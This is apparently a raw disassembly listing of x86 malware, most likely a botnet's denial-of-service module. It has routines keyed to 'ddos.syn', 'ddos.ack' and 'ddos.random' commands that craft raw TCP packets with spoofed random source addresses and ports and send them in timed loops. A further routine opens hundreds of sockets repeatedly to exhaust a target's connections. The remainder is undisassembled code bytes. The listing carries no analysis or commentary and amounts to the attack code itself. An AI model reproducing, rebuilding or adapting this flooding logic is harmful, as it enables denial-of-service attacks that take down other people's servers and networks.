var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB594
test eax, eax
jz short loc_412B48
xor eax, eax
jmp loc_412E3B
; ---------------------------------------------------------------------------
loc_412B48: ; CODE XREF: sub_412B08+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB6C8
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_412E33
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB604
cmp eax, 0FFFFFFFFh
jz loc_412E29
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB624
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB624
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB624
mov [ebp+var_12], ax
call sub_41B8E2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB624
push 12345678h
mov [ebp+var_14], ax
call dword_4CB620
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C18
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C18: ; CODE XREF: sub_412B08+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C34
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C34: ; CODE XREF: sub_412B08+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C6C
call sub_41B8E2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41B8E2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_412C6C: ; CODE XREF: sub_412B08+10Ej
; sub_412B08+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB624
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2940000h
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 2930989h
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41D280
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_412CBA: ; CODE XREF: sub_412B08+2E2j
; sub_412B08+2F0j
mov [ebp+var_4], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB624
mov [ebp+var_14], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CB624
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB620
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB624
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC68
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC68
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CB688
cmp eax, 0FFFFFFFFh
jz short loc_412DFD
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 2930989h
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_412E26
jl loc_412CBA
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_412E26
jmp loc_412CBA
; ---------------------------------------------------------------------------
loc_412DFD: ; CODE XREF: sub_412B08+2CBj
call dword_4CB5B8
push eax
lea eax, [ebp+var_F4]
push offset dword_4361DC
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AC
add esp, 10h
jmp short loc_412E29
; ---------------------------------------------------------------------------
loc_412E26: ; CODE XREF: sub_412B08+2E0j
; sub_412B08+2EEj
mov ebx, [ebp+arg_8]
loc_412E29: ; CODE XREF: sub_412B08+78j
; sub_412B08+31Cj
push [ebp+var_20]
call dword_4CB6BC
pop esi
loc_412E33: ; CODE XREF: sub_412B08+5Bj
call dword_4CB57C
mov eax, ebx
loc_412E3B: ; CODE XREF: sub_412B08+3Bj
pop edi
pop ebx
leave
retn
sub_412B08 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+24h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_412B08
add esp, 20h
test eax, eax
jnz short loc_412E8E
push 1
pop eax
loc_412E8E: ; CODE XREF: ___:00412E89j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o
dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h
dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h
dd 0FF000001h, 4CB6A415h, 0FFF88300h, 75FC4589h, 0B815FF5Fh
dd 50004CB5h, 0FC44858Dh, 0DC68FFFFh, 50004362h, 8995E8h
dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
dd 59FFFF84h, 0E8905759h, 246DA45h, 6AF44D8Dh, 0FF335104h
dd 5057026Ah, 0FFF45D89h, 4CB60415h
db 0, 83h
word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A83Co
dd 15FF5D75h, 4CB5B8h, 44858D50h, 68FFFFFCh, 4362ACh, 891CE850h
dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h
dd 5959FFFFh, 0D9CFE857h, 8D900246h, 0FFFE4885h, 15FF50FFh
dd 4CB664h, 75FFF883h, 44858D55h, 68FFFFFCh, 43628Ch, 88B4E850h
dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
dd 575959FFh, 46D968E8h, 106A9002h, 57E4458Dh, 856EE850h
dd 0C4830000h, 45C7660Ch, 570002E4h, 0B62415FFh, 8966004Ch
dd 858DE645h, 0FFFFFE48h, 6415FF50h, 8B004CB6h, 4270A835h
dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E39805C6h
dd 0FF45004Ch, 4CB62415h, 0D47D3900h, 0E39AA366h, 8966004Ch
dd 4CE39C1Dh, 3D896600h, 4CE39Eh, 0E3A005C6h, 8880004Ch
dd 4CE3A11Dh, 3D896600h, 4CE3A2h, 33E83074h, 8B000088h
dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
dd 8E3C1D8h, 8815E8h, 6AD80300h, 0A41D8901h, 5B004CE3h
dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CB66415h
dd 0E3A4A300h, 458B004Ch, 0E3A8A3E8h, 0E3E8004Ch, 99000087h
dd 100B9h, 88F9F700h, 4CE3AC15h, 87D0E800h, 0B9990000h
dd 100h, 1588F9F7h, 4CE3ADh, 87BDE8h, 0F0B99900h, 68000000h
dd 400h, 8966F9F7h, 4CE3AE3Dh, 1D896600h, 4CE3B2h, 15896642h
dd 4CE3B0h, 8795E8h, 0FFB99900h, 0F7000000h, 0B46852F9h
dd 0E8004CE3h, 8430h, 8D0CC483h, 106AE445h, 1C685750h
dd 68000004h, 4CE398h, 0FFFC75FFh, 4CB68815h, 0FFF88300h
dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0BC15FFFCh, 0FF004CB6h
dd 4CB5B815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43624468h
dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h
dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 7EE89057h
dd 0FF0246D7h, 15FFFC75h, 4CB6BCh, 3308458Bh, 3CC06BD2h
dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4361F868h
dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
dd 97E8C875h, 59FFFF81h, 0E8905759h, 246D6F9h
dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+550Fo
dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0AC15FF00h
dd 89004CB5h, 858D0845h, 0FFFFFF40h, 6415FF50h, 8B004CB6h
dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0A815FF50h
dd 3B004CB6h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
dd 0FCBC858Dh, 3468FFFFh, 50004363h, 8589E8h, 0CC48300h
dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh
dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
dd 46D63CE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h
dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
dd 4CB53Ch, 0C0753B46h, 75FFDA7Ch, 0DC15FF08h, 8D004CB6h
dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 43630868h, 0BBE85000h
dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
dd 59FFFF80h, 0E8905359h, 246D56Dh
dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+575Bo
dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0DA14E800h
dd 50900241h, 8493E8h, 116A5900h, 26A026Ah, 0B6A415FFh
dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h
dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CB664h
dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB6A815h
dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 8868FFFFh
dd 50004363h, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0D48FE890h, 408B0246h
dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h
dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h
dd 4CB624h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h
dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h
dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
dd 0FEFCF085h, 0FF5350FFh, 4CB68815h, 0D875FF00h, 0CFC0E890h
dd 754E0240h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h
dd 42F9F700h, 2415FF52h, 66004CB6h, 0EBF24589h, 50858DA1h
dd 50FFFFFFh, 0FCCC858Dh, 5C68FFFFh, 50004363h, 82A5E8h
dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh
dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
dd 575959FFh, 0D357E890h
db 46h, 2
word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h
dd 0FFFBEC85h, 63B068FFh, 0E8500043h, 820Ah, 0C483F633h
dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh
dd 0D2BBE856h, 5F900246h
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4136C5 proc near ; CODE XREF: ___:004137AEp
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB624
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413783
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413710: ; CODE XREF: sub_4136C5+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_413718: ; CODE XREF: sub_4136C5+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41373B
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_41373B: ; CODE XREF: sub_4136C5+64j
add esi, 4
dec ebx
jnz short loc_413718
lea esi, [ebp+var_654]
mov ebx, edi
loc_413749: ; CODE XREF: sub_4136C5+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB3E5Dh
add esi, 4
dec ebx
jnz short loc_413749
push 64h
nop
call near ptr 2820566h
lea esi, [ebp+var_654]
mov ebx, edi
loc_41376D: ; CODE XREF: sub_4136C5+B4j
push dword ptr [esi]
call near ptr 71AB1A6Dh
nop
add esi, 4
dec ebx
jnz short loc_41376D
dec [ebp+arg_4]
jnz short loc_413710
pop edi
pop esi
pop ebx
loc_413783: ; CODE XREF: sub_4136C5+3Ej
xor eax, eax
leave
retn
sub_4136C5 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov edi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov esi, eax
push esi
push ebx
push edi
call sub_4136C5
add esp, 18h
test eax, eax
jnz short loc_4137BD
push 1
pop eax
loc_4137BD: ; CODE XREF: ___:004137B8j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: sub_401ACD+6449o
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 4363DCh, 8064E850h
dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
dd 0FFFF7BB2h, 90565959h, 46D114E8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41386B proc near ; CODE XREF: ___:00413B59p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB594
test eax, eax
jz short loc_4138AB
xor eax, eax
jmp loc_413B19
; ---------------------------------------------------------------------------
loc_4138AB: ; CODE XREF: sub_41386B+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB6C8
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_413B11
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB604
cmp eax, 0FFFFFFFFh
jz loc_413B07
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB624
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB624
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB624
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB624
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call near ptr 2940000h
nop
lea eax, [ebp+var_8]
push eax
nop
call near ptr 2930989h
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41D280
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413996: ; CODE XREF: sub_41386B+25Dj
; sub_41386B+26Bj
mov [ebp+var_24], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB624
mov [ebp+var_34], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CB624
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB620
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB624
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC68
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC68
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CB688
cmp eax, 0FFFFFFFFh
jz short loc_413ADB
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 2930989h
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_413B04
jl loc_413996
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_413B04
jmp loc_413996
; ---------------------------------------------------------------------------
loc_413ADB: ; CODE XREF: sub_41386B+247j
call dword_4CB5B8
push eax
lea eax, [ebp+var_F4]
push offset dword_436404
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AC
add esp, 10h
jmp short loc_413B07
; ---------------------------------------------------------------------------
loc_413B04: ; CODE XREF: sub_41386B+25Bj
; sub_41386B+269j
mov ebx, [ebp+arg_8]
loc_413B07: ; CODE XREF: sub_41386B+78j
; sub_41386B+297j
push [ebp+var_C]
call dword_4CB6BC
pop esi
loc_413B11: ; CODE XREF: sub_41386B+5Bj
call dword_4CB57C
mov eax, ebx
loc_413B19: ; CODE XREF: sub_41386B+3Bj
pop edi
pop ebx
leave
retn
sub_41386B endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_41386B
add esp, 1Ch
test eax, eax
jnz short loc_413B68
push 1
pop eax
loc_413B68: ; CODE XREF: ___:00413B63j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 7BD1h, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CB6h
dd 5DE8h, 50595900h, 0FC6C858Dh, 2468FFFFh, 50004364h
dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh
dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
dd 3E8F075h, 59FFFF78h, 0E8905659h, 246CD65h, 8B555E5Fh
dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah
dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h
dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h
dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
dd 100h, 930BE857h, 89590000h, 5057FC45h, 0B63815FFh, 75FF004Ch
dd 0A815FFFCh, 8B004CB6h, 6A530C40h, 8B026A03h, 89008B00h
dd 15FFF445h, 4CB6A4h, 56D84D8Dh, 6A026A51h, 45895000h
dd 415FFFCh, 0BE004CB6h, 200h, 77D3E856h, 3D8B0000h, 4270A8h
dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B62415FFh, 8966004Ch
